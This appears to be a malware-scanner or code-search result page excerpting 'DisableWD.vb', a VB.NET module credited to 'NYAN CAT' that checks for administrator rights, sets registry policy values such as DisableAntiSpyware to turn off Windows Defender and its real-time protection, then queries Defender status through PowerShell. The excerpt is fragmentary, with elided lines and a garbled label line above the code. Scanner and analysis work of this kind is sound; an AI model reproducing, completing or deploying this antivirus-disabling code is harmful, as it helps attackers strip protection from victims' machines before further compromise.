DisableWD.vb
Token-array PowerShell commandReferences a public code-forge URL
SHA-2562eab57f3925f74a1b96f059696be8042e5dfced280e61b780d353b0536f8b713
MaleculeO(C)H₂(CmOs)
Evidence
7:61… --
8 '│ Author : NYAN CAT
9 '│ Name : Disable Windows Defender v1.1
10 '│ Contact : https://github.com/NYAN-x-CAT
11 '---------------------------------------------------------
12 'This program is distributed for educational purposes only.
13 Class DisableWD
14 Public Sub Start()
15 Dim t As New Threading.Thread(AddressOf DisableWD)
16 t.IsBackground = True
17 t.Start()
18 End Sub
19 Private Shared Sub DisableWD()
20 If New WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole …
21:97… "0")
22 RegistryEdit("SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1")
23 RegistryEdit("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", " …
25:131… 1")
26 CheckDefender()
27 End If
28 End Sub
29
30 Private Shared Sub RegistryEdit(ByVal regPath As String, ByVal name As String, ByVal value As String)
31 Try
32
33 …
44:13… End Try
45 End Sub
46
47 Private Shared Sub CheckDefender()
48 Dim proc As Process = New Process With {
49 .StartInfo = New ProcessStartInfo With {
50 .FileName = "powershell",
51 .Arguments = "Get-MpPreference -verbose",
52 .UseShellExecute = False,
53 …
60:23… proc.StandardOutput.EndOfStream
61 Dim line As String = proc.StandardOutput.ReadLine()
62
63 If line.StartsWith("DisableRealtime …